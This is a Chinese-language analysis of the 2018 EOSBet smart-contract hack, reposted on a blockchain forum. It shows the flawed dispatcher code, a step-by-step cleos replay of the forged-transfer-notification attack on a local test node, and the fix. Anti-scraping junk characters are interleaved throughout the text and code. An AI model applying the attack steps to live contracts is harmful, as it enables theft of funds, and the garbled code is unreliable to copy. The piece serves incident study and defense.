Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成7 _9 G6 E$ j7 [
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis. k5 l: G; u. j
0x00 背景
4 a# y9 h* T1 ^& I1 _& N2 k7 {EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
5 N8 h2 S  w2 Z) F5 B2 ^& F
, I0 |6 y2 V4 O% r& L/ S0x01 技术分析
+ P9 z4 ~/ W+ Z9 ~9 x  B  |由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI! ^( u' |( E* I  e2 l* x; T0 S
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers) o# E' V2 _8 Y* E! L/ s
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \$ o0 F- q. v2 s& h4 M8 T
extern "C" { \9 A& ]% u% m6 K- z* T4 `
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
; S" b- L6 [$ J                auto self = receiver; \& ~( z; p9 w- q3 p% n
                if( action == N(onerror)) { \3 K. v( ]: G) R7 O* y; r
                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
3 o0 x0 Y6 \- U# t" l  W' b3 g                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \' g- w# R9 ^9 w3 W- i' w
                } \0 r3 [/ w# `" Q! Q% i7 C( C7 e
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
4 Q- g" i5 Z& e. ?- b                        TYPE thiscontract( self ); \+ J% h% q) g- w7 b5 o' m6 z/ z2 x2 l
                        switch( action ) { \
! M8 ]  E2 M( p  j3 A+ J4 p. d, j8 e                                EOSIO_API( TYPE, MEMBERS ) \
9 S& m8 |0 D& X3 N; ^0 d4 }6 C                        } \
3 C6 O2 S, e& D/ M. w9 H; t& y# }                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \5 w+ e$ K+ c* X% \0 O/ X
                } \
7 s4 r$ j5 n9 p- f* V: M        } \
7 o- a  B0 Q2 Z7 ]}
" j7 |* ~! x4 I; B通过官方给出的EOSIO_ABI,问题主要出在以下代码1 X1 b( `4 w' F( _/ e( Z5 H
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
/ ^, e9 g5 i8 B& B5 B4 N                        TYPE thiscontract( self ); \
0 b! S+ B. q" w5 e                        switch( action ) { \# v& b& Z( O/ l2 i, }
                                EOSIO_API( TYPE, MEMBERS ) \
* [; k) v& o6 M. k                        } \' J, M4 D7 g0 I! d) _
                }" n# `- |* ]& _2 U& y$ d/ g0 o
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。2 K" Z; `' H# O
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。8 J* |) I6 ?7 R: c6 q
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。, e+ b0 {) H, B, d( g7 h% {0 E6 d
0x02 攻击复盘& E2 m9 b4 R0 V% `4 A
创建eosio.token账户
4 g9 s+ ]' H3 Pcleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV( Z6 B' }; Z; P- H6 \( ?* _6 j
部署eosio.token合约并初始化
- O$ L) o  A1 Y) m' T& I) m3 [# 部署合约
7 j4 g' Z$ l' y' ^. dcleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
0 S% `% \8 I3 \! @) ~/ y. [% L% S# 初始化合约
" S( W2 l7 e% s. Ecleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token7 p2 {- t8 h7 V3 G8 L7 V2 c, o/ x9 g
创建游戏账户、开奖账户和攻击者账户
8 J! s# I7 O5 L2 x% L& w7 H#创建游戏账户和开奖账户
# h3 h7 W! U7 m+ f/ l3 I! w2 l( J3 Icleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk, H0 W, u1 W$ g3 w  ^: U
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
1 z) @) s5 z  f( W* p$ ~#创建攻击者账户* f& N& k8 u9 [0 c( b  s
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk$ |$ z( A& Q! @$ U6 U/ {
设置账户随机权限和开奖权限
8 e8 p: z+ O: P#设置权限
8 Y, k' I" M1 j: @. }; ^cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
4 v5 H. `  i# _; J* x1 i% Pcleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
! {: U2 ?' ~5 q) D$ h; H. G# `#设置开奖权限
' c" X; y3 f6 k7 O4 @+ j' |3 U9 Ncleos set action permission eosbetcasino eosbetdice11 resolvebet random
# J7 E0 N! h. @+ B向相关账户冲入代币
( z3 y4 W4 w1 n5 i#往相关账户充值
7 d3 k$ h2 q3 T7 L8 m% y: scleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active* C7 G  [1 r0 \$ S7 J+ ~; N
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
4 t, h; p  f" h# k: b$ Y![4.png]()
3 U* j" X2 V  J( e- ~! U" i部署游戏合约并初始化- |' s+ d( s  u
#部署游戏合约7 ^4 m! [* l2 v
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice6 J$ c% X, w$ ~/ ?! s% o" Q6 a
#初始化游戏合约. y  D$ ]' }( W' }$ [; r
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino. {+ p; `6 G/ l- w1 W) X
模拟黑客攻击(伪造转账通知)
# M+ v" ^, `- m+ fcleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
8 s- ?* |/ w% p3 f0 B查询游戏订单# n) M9 p+ m+ M8 ?- e. e! l; b
cleos get table eosbetdice11 eosbetdice11 activebets
5 s. }# s5 m' s. Y& J9 {
. T% d6 {% J, d, }8 y0 l, M# i可见,游戏订单已经生成,查询attacker和eosbetdice11账户3 [& ]+ i8 A, a& i

6 n( F7 P$ X4 i; s) M按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
/ w$ ]/ K8 N2 [6 d! w5 N0 H最后对该订单进行开奖。9 c, N& M1 r, M" j0 m! H: p
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
+ ~" a3 w- g2 G: }: Z
* D" J) X$ r" C+ k' b( J& h" `总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。8 s/ O) T# K. E- L. J3 M/ _
0x03 后记
) T! }4 }9 i, k5 cEOSBet随后将修复方案公开/ t2 ~9 Q) j. j: W! L
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers. f7 c* H/ ~6 Q0 k9 ^, X; z
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \# n2 H, B) Z, K  R
extern "C" { \, Y0 \9 @+ `+ t: M) ~% k$ k
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
, F9 R$ [) ^& u1 l$ Z                auto self = receiver; \
* r; V, u' G# ]5 m; \: S" F                if( code == self || code == N(eosio.token)) { \
& v* b  ]. }) t                        if( action == N(transfer)){ \* N9 x$ b9 V; E1 B4 E+ f
                                // 必须是eosio.token来调用合约自身的transfer函数
# r% h9 A" N8 X9 H9 i- `% o' J                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \7 y1 N+ g, m. Y
                        } \
5 ]) U6 G0 C( B9 N- u. s                        TYPE thiscontract( self ); \- E0 g- M  u. ]) V. W8 W* ^
                        switch( action ) { \; R) w0 G, j' w! L9 l- D# w
                                EOSIO_API( TYPE, MEMBERS ) \
3 k  @6 j' `. F: p& n1 J8 h                        } \
, I; C$ B  U0 w                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
2 j. Y: {$ c4 l% y. o                } \
& ^" U5 H2 f+ J/ q2 v        } \0 W. X3 d$ V& F7 O8 l4 e4 H7 s
}- {# m$ u6 J# Q3 ~  l  ^% s; h
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
, ~3 D, }2 r+ h3 I9 o! w0x04 修复方案
8 z8 ~2 F; j+ n0 ]零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
* m+ J, c; l% |3 w) j
0 a5 h. |! B$ \' N* [, C' o通知是否来自eosio.token,即只处理eosio.token发送的通知" v" s7 `1 `& B
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
" Q4 H+ i$ X+ ~" L
0 C1 D- ]! m. T7 _. \
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知3 w- k) {+ h$ T( g3 X. {0 P
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10